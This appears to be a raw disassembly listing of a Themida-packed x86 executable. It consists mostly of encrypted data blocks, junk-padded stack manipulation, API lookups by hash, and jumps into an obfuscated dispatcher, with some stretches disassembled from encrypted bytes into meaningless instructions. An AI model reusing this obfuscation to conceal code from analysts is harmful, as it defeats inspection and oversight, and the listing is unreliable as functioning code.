		dd 0A60506E4h, 391E0036h, 14845329h, 0C9F9912Dh, 0Dh, 6F6D2FDDh
		dd 86F28DD4h, 0AB5F7010h, 5ACA2487h, 74E4475Ch,	63D33142h
		dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h
		dd 7AEA4F64h, 0FB68783Ch, 89000070h, 0E6892434h, 4C681h
		dd 0EE830000h, 24348704h
; ---------------------------------------------------------------------------
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edx, 439B7EFBh
		inc	edx
		neg	edx
		push	edi
		mov	edi, 0B6493298h
		sub	edx, edi
		pop	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	3286h
		mov	[esp], ebx
		mov	ebx, 8
		add	ebx, edi
		mov	[ebx], edx
		pop	ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 3Fh
		dd 6B5A1489h, 0F77A1C2Dh, 39F5CB3Fh
; ---------------------------------------------------------------------------
		add	esi, edx


loc_5E045A:				; CODE XREF: Themida_:005DE7D8j
		mov	eax, 61B698Fh
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+61509C5h], 47h
		push	0CF381725h
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+6153B38h]
		call	eax
		mov	ebx, eax
		lea	eax, [ebp+6151E95h]
		push	eax
		push	104h
		call	ebx	; _iob
		mov	byte ptr [ebp+61509C5h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+6153B38h]
		call	eax
		mov	[ebp+61B4C33h],	eax
		cmp	dword ptr [ebp+61509CDh], 0
		jz	loc_5E04C4
		mov	ebx, [ebp+6152559h]
		jmp	loc_5E04C9
; ---------------------------------------------------------------------------


loc_5E04C4:				; CODE XREF: Themida_:005E04B3j
		mov	ebx, 0


loc_5E04C9:				; CODE XREF: Themida_:005E04BFj
		push	100h
		lea	esi, [ebp+61B4C37h]
		push	esi
		push	ebx
		call	dword ptr [ebp+6151375h]
		lea	esi, [ebp+61B4C37h]
		add	esi, eax
		jmp	loc_5E04EA
; ---------------------------------------------------------------------------


loc_5E04E9:				; CODE XREF: Themida_:005E04F6j
		dec	esi


loc_5E04EA:				; CODE XREF: Themida_:005E04E4j
		cmp	byte ptr [esi],	5Ch
		jz	loc_5E04FC
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5E04E9


loc_5E04FC:				; CODE XREF: Themida_:005E04EDj
		mov	byte ptr [esi],	0
		lea	eax, [ebp+61B4C37h]
		push	eax
		call	dword ptr [ebp+61B4C33h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		db 58h
		dd 821FA82Bh, 18594DC3h, 0DF733067h, 0A41FB15Eh, 384BF9D2h
		dd 0ED0EA29Dh, 85061A0Ch, 50785165h, 0BE1E46F8h, 7132FA97h
		dd 232C18C2h, 362D37CFh, 0E15C3F4h, 3B36F415h, 375A298h
		dd 0F440E509h, 7D1CA396h, 0BE1FF9E8h, 9410292Eh, 0E3311F27h
		dd 0E92D9396h, 50h, 6885C6D3h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh
		dd 6C642E6Ch, 1467006Ch, 8003B2BDh, 0FEB9h, 0Ch	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E0C47
; ---------------------------------------------------------------------------
		push	61B6CC0h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B6D9Bh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B6E38h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B6EF7h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B6FCDh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B70A6h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 0EEh, 90h, 20h
		dd 0EB5BDE55h, 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h
		dd 24FB9A0Ah, 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 995A7F46h
		dd 6021169Dh, 1FB5DCh, 0BEF30000h, 0F0CDC939h, 0C724221Ah
		dd 0C92A8757h, 6E83B159h, 0BDF89D0Dh, 1086F290h, 1FF666C6h
		dd 0DB0BAB19h, 0D949AE03h, 0D0982B31h, 5D169BF2h, 0A2EB4A4Ch
		dd 0B41693F2h, 0D4CDC939h, 16B1E555h, 3BB309Fh,	0A584AA76h
		dd 2198321Dh, 0EB0E9BAEh, 39969DBDh, 72000002h,	0E69A57B2h
		dd 351DA8B6h, 38169BFBh, 0F88ACF76h, 84711693h,	8F80B626h
		dd 0D4EF8FA0h, 0D2A09098h, 0C434B6FBh, 9CCC6C26h, 407F03C2h
		dd 2DFEDCD8h, 73BF7FE9h, 0A59A9C0Ch, 0F87FB48Ah, 0E95CE288h
		dd 0C6C7D778h, 322C3203h, 8A5AEB25h, 794536BCh,	0F73587CAh
		dd 0B55566C6h, 0EE87F774h, 0CB52C241h, 0E779EAEAh, 0A17BF7FDh
		dd 0E4000004h, 0A47B1A8Ah, 0F340D545h, 0DC532292h, 1A09EC5Ch
		dd 4E4D2898h, 70E0625Dh, 0B9298EA5h, 75E547DCh,	0C03093A0h
		dd 9BCA235h, 169D9EC0h,	2452EAABh, 0D95F57C7h, 48AF0425h
		dd 0F2246DD8h, 0F6C71086h, 763E05D9h, 0A5169BF9h, 77BF2F8Ch
		dd 0E3B4E486h, 51A0AB12h, 7B617DADh, 0B26C3B5Ah, 64DF7E71h
		dd 16938D3Dh, 2AC0EFC0h, 8E84977Bh, 39C5D610h, 1FAB0E23h
		dd 66042B9Bh, 0E22E937h, 66966AA5h, 0B005ED58h,	97A8B253h
		dd 0F674BD9Fh, 74BF9086h, 0ADE387F7h, 3E05D909h, 0BC4226C3h
		dd 0A7B5899Ah, 46CB0EB5h, 0E9B2A073h, 0CE9D290Eh, 907A5583h
		dd 0AEB020A3h, 1B9A2685h, 0BD926BABh, 979CBECDh, 4AC7A313h
		dd 94BD88E9h, 57A073DCh, 99946946h, 420CF683h, 3C6D034h
		dd 3FBF0000h, 78F926CFh, 37B66D08h, 7F012EC7h, 39B9660Fh
		dd 3C6F2CC9h, 4910181h,	0BD58C82Fh, 0FF960666h,	9263D330h
		dd 63A61D41h, 0A169D9Fh, 0C724B389h, 25D95F57h,	6A5AE9F5h
		dd 0EB169BF6h, 0CB6B3BDAh, 9800C39Bh, 0E510B759h, 3D40AD4h
		dd 0F3A53A06h, 93806A83h, 0D747A430h, 0B7DFF6DFh, 75532CFEh
		dd 93A0755Ah, 64D6C030h, 7D5A6494h, 0BAAA05FBh,	0DD5F0B7Bh
		dd 2366DDFFh, 0CA1CB675h, 0EAB211F9h, 291AAB71h, 0FC3AAA08h
		dd 3B1484E7h, 0BF5E6F4Fh, 0ABA626C2h, 299B171Dh, 5C000003h
		dd 8CA372E2h, 4BD8BD2Dh, 849B7AEAh, 52E1B424h, 0B6F580F0h
		dd 0C838BAF5h, 171F62Dh, 0CD3DBF74h, 878FB28h, 0D1745A6Dh
		dd 169D9C88h, 244AF273h, 0D95F57C7h, 0E959D925h, 35BBF8C6h
		dd 0EFCD1C5h, 9B1D1648h, 0D0643F2Bh, 65169C12h,	9A03C154h
		dd 17000001h, 0DF9F72B2h, 2C348FAFh, 51169BFBh,	0F8ADF44Fh
		dd 46E71693h, 0BBCE65D4h, 456A3BE5h, 0AA830AB9h, 1CDC03D6h
		dd 0A70CD2ECh, 8A39D141h, 0EDCE2132h, 83A04D1h,	0AD0B077Bh
		dd 0E1C6F316h, 86A97A11h, 175AB4B1h, 0AE0BB49h,	27918596h
		dd 0AC172757h, 17F822BDh, 0E2CFEFC0h, 0F24F161h, 5A613CACh
		dd 89B66BF8h, 26A076Bh,	9B1B0000h, 54D54A2Bh, 0A32211E4h
		dd 6BCD6233h, 0A5051AFBh, 404B6035h, 987DED4Dh,	0E1B4248Bh
		dd 0F382F252h, 0A64FBF3Ch, 4F92311Dh, 2E169D9Ch, 0C724CF6Dh
		dd 25D95F57h, 5A5AE9F5h, 0DB169BF9h, 0A3822BCAh, 0C49ACA6Eh
		dd 0EE9C0C6Fh, 0FC75DD68h, 27F8108Eh, 5B7E4517h, 221CACE3h
		dd 0A0237911h, 9342CA56h, 0EBF51DE1h, 0E2F3CA8Dh, 0F97FA221h
		dd 2DFE8B8Dh, 40893C02h, 2B8B8DF9h, 9A29351Ah, 8D971102h
		dd 1EC0B4A1h, 0BADDDF65h, 0F0CDC939h, 0BA8B2BDFh, 1392B3A4h
		dd 3687EF39h, 0B050DA54h, 7C56D188h, 132B86Bh, 1D210E7Eh
		dd 0E0964D38h, 14F66AFFh, 33868342h, 0C4D5B7BFh, 0AE3AB9FAh
		dd 0E2DBDB4Bh, 78FB28CDh, 0E2191ECh, 0B2E7666Fh, 0F738116h
		dd 194h, 502595F1h, 7EE5EE3h, 482D9D18h, 10E555DBh, 462F9F23h
		dd 3675A51h, 0CA2D0293h, 864BB5Ah, 0C526FD98h, 4717C055h
		dd 9D9D557Ch, 0E5571816h, 8757C724h, 6155C52Ah,	0AEF3526Ch
		dd 4D1086F2h, 1AA08E7Ch, 36283666h, 0E9F6F21h, 0E981A9F8h
		dd 9B63CABAh, 0DBBA8B16h, 0DB0BAB4Dh, 0DD4DAE03h, 0B0E656D6h
		dd 9A292BDFh, 16A25DC0h, 346FDDFh, 0EA169D99h, 1B3E05D9h
		dd 0E2169D99h, 0B48539D1h, 0BA2A89AAh, 77E744DBh, 8BCE7567h
		dd 9169D99h, 0AD4308A8h, 8B9C0442h, 0D3B72788h,	0FF2FCF59h
		dd 366464DFh, 28F910B9h, 2E9E1D16h, 0EB5BD847h,	49793DABh
		dd 0D58ECE75h, 0C80D1AAAh, 348F4165h, 2CDBCEDh,	0E998BF90h
		dd 2A8E7C4Fh, 57E18419h, 7C7AABA0h, 0BBF8h, 0FC6CCA00h
		dd 37A70A19h, 474D15Eh,	0CE3EC271h, 0A7AF827h, 447F2C6Bh
		dd 909F76E6h, 49D6BF2Fh, 859A7BEBh, 0F4DFB626h,	82365BEAh
		dd 34B5169Dh, 0DB0BAB08h, 5D444003h, 81916A2h, 0AB7A2136h
		dd 0BC89F901h, 357E60CEh, 67A446B6h, 32019404h,	0CE3561D1h
		dd 793E1255h, 81013214h, 8F3E7911h, 7EEE4E63h, 0AC1C9F8Ch
		dd 278CC592h, 1047892Fh, 0A7041B7Ah, 381DFF37h,	0CB6D16C0h
		dd 0FB38D2B3h, 4E370D75h, 54C9BDD6h, 0D1383B7Bh, 228AE9DEh
		dd 0D8E42B45h, 1BFAD5DBh, 2737A704h, 0FB3BAB0Ah, 0E0AE6802h
		dd 0C564E6F7h, 2312EFAh, 4A7A1080h, 8, 5ECE3380h, 4B2F88ACh
		dd 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh, 3066D654h
		dd 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh, 0E0895078h
		dd 405h, 42D00h, 4870000h, 1C895C24h, 0E2895224h, 4C281h
		dd 0EA810000h, 4, 5C241487h, 53240C89h,	0C381E389h, 4
		dd 4EB81h, 1C870000h, 1C895C24h, 0CABA5224h, 52061B6Bh
		dd 0C9243481h, 596F8979h, 79C9F181h, 835A6F89h,	248904ECh
		dd 24048324h, 53515B04h, 0DF1C68BBh, 245C015Fh,	438F5B04h
		dd 86B8108h, 5FDF1C68h,	5B2434FFh, 4C481h, 34FF0000h, 0C4815924h
		dd 4, 0FA0C3DE9h
; ---------------------------------------------------------------------------
		dec	dword ptr [ebp+12h]


loc_5E0C47:				; CODE XREF: Themida_:005E05B8j
		mov	eax, 61B7186h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 254887FCh, 2D638E23h, 34E0D113h, 7A56D446h, 38659BD0h
		dd 17A4D178h, 575FC160h, 67333861h, 40028B37h, 2AF0C8B6h
		dd 6B0942D9h, 3C9280Ch,	46465489h, 45EA9FABh, 6FA40953h
		dd 70791547h, 5F390CA2h, 11E8h,	1B306D00h, 4651D700h, 150AC1F6h
		dd 992D563Ch, 0F50BE70h, 58Fh, 0E7816600h, 595EDDEEh, 2E99F681h
		dd 0C1810F47h, 6293h, 186968h, 0E9605A00h, 13h,	36CBAA62h
		dd 0C0DE8CC6h, 0E4B718EAh, 3638C76Bh, 66E534C5h, 57C2DB81h
		dd 0F31FF61h, 78Eh, 86BA6000h, 612993EAh, 0C081F558h, 80BE0F8h
		dd 0C0E1C081h, 0BE932F3h, 1E000000h, 8A12C9BDh,	75FF9BD7h
		dd 0E8814C74h, 480E5569h, 0D408CF81h, 815010CFh, 8B2616F6h
		dd 56018F09h, 14E9h, 55D01900h,	0A64452B3h, 42B20FE6h
		dd 8E412593h, 5C4CA5C2h, 0E9815E33h, 4FFFB923h,	1FC181FCh
		dd 0FC4FFFB9h, 1EA81h, 850F0000h, 10h, 25E9FA8Ah, 69000000h
		dd 36AA0F6Eh, 0A5112F47h, 860Fh, 6EE90000h, 54FFFFFFh
		dd 75B7AF66h, 0ADBB61BCh, 14B8A1Eh, 98EE8AD3h, 27E9h, 0DE144B00h
		dd 54h,	8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E120C
; ---------------------------------------------------------------------------
		push	61B748Ch
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B74EEh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B761Fh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 0D0h
		dd 0C06F0676h, 0EF44D141h, 0A8771E8Eh, 0E63DD848h, 2A811484h
		dd 5CCC2E61h, 95056AB9h, 61D13300h, 0AC1C9F94h,	75D0FEC9h
		dd 169D812Ch, 24EE4ECFh, 536056C6h, 0C5F580F0h,	46FDC1F1h
		dd 169C1BBAh, 171D0E1h,	7AFB3815h, 5340600Ah, 67AF80F0h
		dd 93DBC10Ch, 0DC03AE16h, 0BD43006Dh, 2A5889Dh,	4FA40000h
		dd 9A70E062h, 0F8C82927h, 0CB4FF6C8h, 0B2169BFBh, 0F23F1DE1h
		dd 5D482292h, 0BF952A9h, 1B9F94CAh, 82D7FAABh, 859613FCh
		dd 0EA0BABE5h, 0FC82365Bh, 0DAE4B513h, 0FC82266Bh, 0DBF4C513h
		dd 0DD4DAE03h, 3006E4D9h, 35A5052Eh, 3F5E0C01h,	15E6789Bh
		dd 0D3655162h, 0F1EBF323h, 750B70E4h, 0AA407565h, 136D8AFBh
		dd 0E6F8C91Fh, 17FE6ECDh, 623BAB08h, 0AE471D81h, 0A2F45066h
		dd 0B0000002h, 200FE656h, 0CF6431A1h, 817FE6Eh,	0C65D38A8h
		dd 8A21F464h, 0BC2C8E01h, 75E54AD9h, 0C13193A0h, 0C7CFF34h
		dd 0D5705E69h, 169D868Ch, 0AB8EAE6Fh, 4003DB0Bh, 16A265B7h
		dd 48697546h, 6FDF5EEAh, 0FC7EB540h, 0E12B8A8Ch, 0F3169D81h
		dd 0EDB12890h, 9AFC031Ch, 0D8EDE8B5h, 0C8EEB7CFh, 2406Ch
		dd 44B41200h, 8FFF82B1h, 4CBC39E6h, 86F67AA9h, 52C240EFh
		dd 0ECA7E4C3h, 0A8771E8Eh, 0F13ED747h, 0DD522393h, 0BC07EE5Eh
		dd 86EE3392h, 0C8D169Dh, 0DB0BAB30h, 65B74003h,	0CFE416A2h
		dd 0AE12F868h, 0F31A999Dh, 7C169D81h, 1648AA15h, 9D816AAFh
		dd 0B40F1116h, 169D816Dh, 7A103F10h, 0C390AE3Bh, 161369Dh
		dd 24520000h, 7D5F57C7h, 0A248B834h, 0D3A21271h, 0DBE313E3h
		dd 0E850B001h, 647B5F52h, 76143BB2h, 9BF51347h,	0CDC9DA16h
		dd 93E52766h, 7669D016h, 0BD3566D3h, 2FEE9Dh, 0ABCA0000h
		dd 4003DB0Bh, 169BF5F0h, 947ABC8Dh, 0C1A9199Fh,	93F1BBE2h
		dd 41724416h, 0B753C3h,	0AB0C25CDh, 0D9644F3Bh,	5F9DBD1Ch
		dd 9Fh,	3BC7243Bh, 714E48B8h, 0E74B585Eh, 0D1323F77h, 0BF3C3561h
		dd 0BD426F4Fh, 0F2A0E95Ch, 7A4B1086h, 0DBD6B555h, 1086F790h
		dd 5E75A8ADh, 6AF47BD8h, 0C0309380h, 81B18535h,	9BC806BDh
		dd 0E0B1169Eh, 0E858D5DEh, 582A6FD6h, 0C0D11691h, 9B1F142Ah
		dd 0B3004A2Bh, 0FD2EDC4Ch, 6F700D7Dh, 70B7D3EFh, 10FFE86h
		dd 0C3430000h, 0C6DC253h, 0CB2AF99Ch, 365BA5Bh,	0CD2D0293h
		dd 0A8E3B85Dh, 700575F5h, 29CC3CC3h, 6B0A7AFAh,	2EC737B4h
		dd 0C70AB9A5h, 0A6169D84h, 0C62457E5h, 1370BF56h, 2466D2A3h
		dd 525F57C7h, 940465F1h, 2CCCDABBh, 6FD1E2FCh, 24C6B7FFh
		dd 4188B312h, 7AA7169Ch, 0BE8F87F7h, 664CD91h, 9BC2FF96h
		dd 0CD1693BDh, 0F7E0FE6Eh, 99A6BE07h, 0A7B9187Fh, 458F0B2Ch
		dd 35197416h, 0D02E2D20h, 0DD8D1A68h, 585ECE2Ch, 71EC6176h
		dd 994E020Fh, 7BD1F1h, 0ABE50000h, 4003DB0Bh, 16A265BBh
		dd 2C457142h, 69B65FCFh, 199C9A0Ah, 65572D59h, 90624DD4h
		dd 84B222A3h, 1FA6AC8Bh, 0CF8DD807h, 18DEE1Bh, 233B1484h
		dd 4B3FAF0Eh, 94151E40h, 6D1DF224h, 0EFCF3FBCh,	38D242C2h
		dd 2283E5FEh, 66487EA3h, 32CFD48h, 39841A3Bh, 23138301h
		dd 0A0640D2Ah, 22210BFFh, 0F87B4C73h, 0B536ED88h, 0AF15145h
		dd 0C5000000h, 6DDD624Fh, 80B65429h, 5ACA247Ch,	74E4475Ch
		dd 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h
		dd 52C24330h, 7AEA4F64h, 8953783Ch, 4C381E3h, 83000000h
		dd 1C8704EBh, 24248B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	61B73ACh
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	242Bh
		mov	[esp], edx
		pop	dword ptr [edi+8]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dd 73C1712Ch
; ---------------------------------------------------------------------------


loc_5E120C:				; CODE XREF: Themida_:005E0DB8j
		mov	eax, 61B7753h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0A1h, 4Dh, 0FCh
		dd 0BF433F55h, 2E63F50Bh, 0E37D8553h, 1640E851h, 0D1F90855h
		dd 43EEBF4Ah, 0BDB6A00Dh, 0C290897Ah, 3DD3E724h, 23840A12h
		dd 0B34C5B70h, 0FC711B59h, 0F8278D7Ah, 1271B14Fh, 0AC15B96Dh
		dd 0F08D8D2Ch, 60061B78h, 0BE58BA66h, 5F5F5656h, 218D8961h
		dd 31061527h, 151075B5h, 0CD85C706h, 0E4061504h, 6A000058h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 283C357h,	0A71BE593h, 15B58997h, 0E9061517h
		dd 0Dh,	0D00D6B7Ah, 0CBFB1039h,	2FD59D81h, 1585C73Fh, 61511h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 3D81C350h, 4EC1D270h, 9529A7EBh
		dd 6150561h, 1D45B5FFh,	0BF0F0615h, 9241B8D3h, 95FF373Bh
		dd 61502C9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	7CC35545h, 95FF006Ah, 6152E21h,	0BEBC08Bh, 3250C9BBh
		dd 895DB57Fh, 8D05669Ah, 1B79E78Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0AD442F54h
		dd 0CCF1EF81h, 68E0F60h, 0F000000h, 8Eh, 0BE900h, 39660000h
		dd 0B5F9955Eh, 0A9827BB7h, 0D18B6125h, 27218D89h, 6A0615h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0E46095C3h, 0CD85C772h, 54061504h, 6A00005Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 7655C353h, 8166D800h, 0C75738CBh, 15111585h,	6, 0B19D8B00h
		dd 0FF06152Dh, 151D45B5h, 4D9D8B06h, 0FF06152Ah, 1502C995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0ADB58910h, 6A061518h, 2195FF00h, 8B06152Eh
		dd 0B00BEBC0h, 25875D13h, 0ACF9DA0Dh, 0CE53B2EFh, 365DB162h
		dd 0EAEB153h, 5657A030h, 56A75832h, 0A3D3B132h,	0F20CFC24h
		dd 0C8CF7D23h, 56BA437Dh, 565DA0DBh, 11D9A832h,	0C5301E24h
		dd 8D7B0ECAh, 9A72DB8Ch, 715A9A42h, 5675B36Ah, 20B43A32h
		dd 560B2859h, 0D6FDD132h, 0AA0D75EAh, 59ABB153h, 56D5B6BDh
		dd 5768BE32h, 0AE75B132h, 5642B132h, 5ADCBE32h,	59AEB132h
		dd 5657B7B0h, 5624BE32h, 56D5B132h, 56FA5832h, 13ABB132h
		dd 0D9DFD748h, 4BA9D25Ah, 13F368EBh, 62FCB855h,	56ABB16Fh
		dd 620A5932h, 5FDE78C5h, 0FA8CB132h, 0D7BAEFD7h, 30381BC5h
		dd 56CF42B9h, 56574932h, 36360052h, 56D5A5DBh, 7C6AD32h
		dd 0B7F4D67Fh, 2B323CE2h, 885FD558h, 832A5FCCh,	8DEED7B2h
		dd 56CAD0F2h, 56DF5832h, 864B132h, 0BD4AE6EEh, 8F8C4554h
		dd 0DC52B132h, 56AEB136h, 37863B52h, 0D0A4B132h, 56D5B13Ah
		dd 56E8373Dh, 3715B132h, 5053B132h, 5C5DB132h, 0A1009907h
		dd 40D4BE21h, 59ABB132h, 56D5A1B8h, 56E15832h, 6A06B132h
		dd 0CF705E26h, 0AE8BD1E5h, 36AEB15Ah, 3736D152h, 376A0E3Dh
		dd 0AEB5B132h, 598AD0CBh, 56147685h, 5738BE32h
		db 32h,	0B1h
word_5E156A	dw 0A35Dh		; DATA XREF: Themida_:0057B04Co
		dd 0DEA1B132h, 5657B123h, 56ABBDDBh, 0B354A32h,	0D38220B4h
		dd 8C0B21DFh, 36BAB17Eh, 564F5864h
; ---------------------------------------------------------------------------


loc_5E158C:				; CODE XREF: Themida_:005E159Ej
		xor	dh, [ecx-3A0BA92h]
		jl	short loc_5E160B
		xchg	eax, ebp
		cld
		mov	byte ptr [ecx+2A315BA6h], 0CCh
		dec	ebp
		loope	loc_5E158C
		imul	ebx, [eax+72h],	56h
		xor	dh, [ecx-7A1C1A08h]
		int	3		; Trap to Debugger
		js	short loc_5E15CA
		shr	byte ptr [esi-51C5ADAAh], 1
		pop	ecx
		mov	eax, 3256ABA0h
		pop	eax
		fst	dword ptr [esi+32h]
		mov	cl, 26h
		cmpsb
; ---------------------------------------------------------------------------
		dd 4050A76Fh, 22808Fh
		db 63h,	6
; ---------------------------------------------------------------------------


loc_5E15CA:				; CODE XREF: Themida_:005E15ABj
		cmp	al, 0AAh
		xor	dh, [ecx-4ECDA6B9h]
		push	edi
		clc
		mov	ds:0E0CCC71h, eax
		mov	esp, 954BA3DEh
		pop	ecx
		and	eax, 0EE15EF49h
		in	eax, dx
		jge	short loc_5E1637
		xor	dl, [edx-29h]
		in	eax, 7Bh
		into
		pop	eax
		mov	edi, 0ACB13256h
		rcl	dword ptr [ecx-3CAAB26Dh], 1
		or	[edi], esi
; ---------------------------------------------------------------------------
		db 0C5h
; ---------------------------------------------------------------------------
		idiv	dword ptr [esi-75h]
		adc	bl, [ebp+3Ch]
		enter	5337h, 0B1h
		mov	edx, 5DBDB259h


loc_5E160B:				; CODE XREF: Themida_:005E1592j
		push	esi
		xor	bh, [esi-4ECDAFDAh]
		push	edi
		pop	ecx
		mov	esp, 3256ABB1h
		mov	cl, 0D5h
		mov	edi, 56EAB13Fh
		arpl	[eax], ax
		and	ah, cl
		push	7EDF3DC0h
		icebp
		wait
		mov	al, 1Dh
		mov	cl, 0AEh
		stosb
		xor	dh, [ecx-4EC520A8h]
		stosd


loc_5E1637:				; CODE XREF: Themida_:005E15E5j
		push	esi
		cmp	eax, 3256D733h
		mov	cl, 8Ah
		aaa
		xor	dh, [ecx-4ECB2286h]
		mov	edx, 9C3A5256h
		add	eax, 56AED06Bh
		mov	dword ptr [ecx-4ECD51A9h], 0B133DFA4h
		aad	56h
		into
		mov	bl, 0EAh
		push	esi
		xor	dh, [eax-3]
		inc	ebx
		insb
		xor	[edx-7Ch], esi
		push	ebx
		mov	cl, 5Dh
		db	36h
		push	esp
		xor	[esi+72h], dh
		iret
; ---------------------------------------------------------------------------
		db 0D0h, 8Fh, 51h
		dd 56A9B137h, 56C4B134h, 56C8B114h, 567EB3F4h, 59DAB132h
		dd 565DB1BBh, 8C5E3132h, 0A357B153h, 37CBD152h,	9DCE71B3h
		dd 308BD3E3h, 37F75789h, 30DAB132h, 59DC53B3h, 0AACF4BB9h
		dd 3037B132h, 0AF2046B9h, 4152BE53h, 59EAB132h,	5675A0B4h
		dd 56B65832h, 142B132h,	0EC2176BAh, 762FC4Dh, 56AB0DA6h
		dd 0A3D5B1CBh, 308AB132h, 56146EB9h, 56B8E732h,	5DB1CBh
		dd 83825730h, 0D731805Ch, 375D2AF3h, 453CB132h,	0E5EAB132h
		dd 0C4EB566Fh, 90E8A41Ah, 563B5E52h, 0EEE49B5Ah, 0BF049327h
		dd 56ABB135h, 0C80C9111h, 0DF7FFD4Dh, 0BF209536h, 56BAB122h
		dd 616B60CAh, 856CBC96h, 7959B822h, 1DB1740Eh, 372B3AAFh
		dd 308AD162h, 0E9AADD8Dh, 3755376Ah, 37ED0753h,	0C6CF2CA1h
		dd 0FDAD942Eh, 293568A2h, 0CD7F247Eh, 297468A1h, 0CDDF247Eh
		dd 0C6CC6FB3h, 5AB4FED4h, 0B2AEB132h, 644B37Fh,	2AC4FF7Bh
		dd 0CB5EEB37h, 8AA52453h, 0D71E0BD7h, 125137F3h, 56515847h
		dd 0CBDAB132h, 0CFB75220h, 3A78E6Ch, 0CA48EA58h, 56EABADBh
		dd 5BD18632h, 5FAA62F0h, 93619E3Ch, 688677B3h, 50BEC82Dh
		dd 0B0ABB132h, 24A86515h, 0C8B2CF1h, 0CA7A226Ah, 6BA3A97h
		dd 56545860h, 84F3B132h, 480E1191h, 59BE7DCDh, 0BF87E103h
		dd 56EAB13Bh, 86E633FFh, 0AA557FFBh, 0BF6CBEB7h, 56AEB134h
		dd 6BC35694h, 0EF13200h, 125CE968h, 368AB516h, 0E06D0E54h
		dd 0CADB52B8h, 565DB4DBh, 99801832h, 0D731D46Eh, 0BF7EF9C4h
		dd 56D5B134h, 4B1E7634h, 37E8D2A0h, 37983F6Ah, 0DA52B132h
		dd 56AEB125h, 56595852h, 0B833B132h, 3E21010Ch,	237869Ch
		dd 625AF593h, 56DBD052h, 5DDEBE32h, 0BFAEB132h,	5657B134h
		dd 0EB23FCCAh, 56D5B6B1h, 0BFEAB1C7h, 5675B120h, 7B60E8DCh
		dd 0D20C7427h, 7BBF56C4h, 0F3ACDB68h, 56AB8819h, 59D5B1C7h
		dd 56EAA8BFh, 56615832h, 0A338B132h, 377A9D58h,	1C46069Eh
		dd 0F51513CCh, 0C0093B9Dh, 562D3350h, 56EA4D32h, 36843B52h
		dd 56BABADBh, 0CB48C432h, 95A4CEB3h, 7A1B2471h,	3D443054h
		dd 59B4D069h, 56EAB0BCh, 56754D32h, 36BAB1C7h, 0B0500F54h
		dd 56AD3D3Dh, 0BED7B132h, 56ABD026h, 56D43B3Dh,	5613B132h
		dd 46F0BE32h, 0BFBAB132h, 565DB139h, 855E13E6h,	0DD6D08F9h
		dd 564EF80Bh, 56C65832h, 0FBDDB132h, 543047D0h,	0CE7FB387h
		dd 9E5914B8h, 0A9053D7h, 0BF57B1B7h, 56ABB13Ah,	0ACE71C35h
		dd 4F50682Eh, 0DD7AB132h, 56BAB138h, 565DB4DBh,	41DE432h
		dd 56571776h, 0B12BD152h, 565ABE70h, 37EAB132h,	5675B6DBh
		dd 793E4932h, 23E678C6h, 59AEB153h, 5657BDB6h, 5024BE32h
		dd 59D5B132h, 56EAB1BDh, 56705832h, 25EDB132h, 56F16CCDh
		dd 5E27BE32h, 5957B132h, 56ABB3BCh, 56B4D132h, 56F85832h
		dd 0E237B132h, 0D48D2C69h, 0A660B03Fh, 3D7A0436h, 4A3023E5h
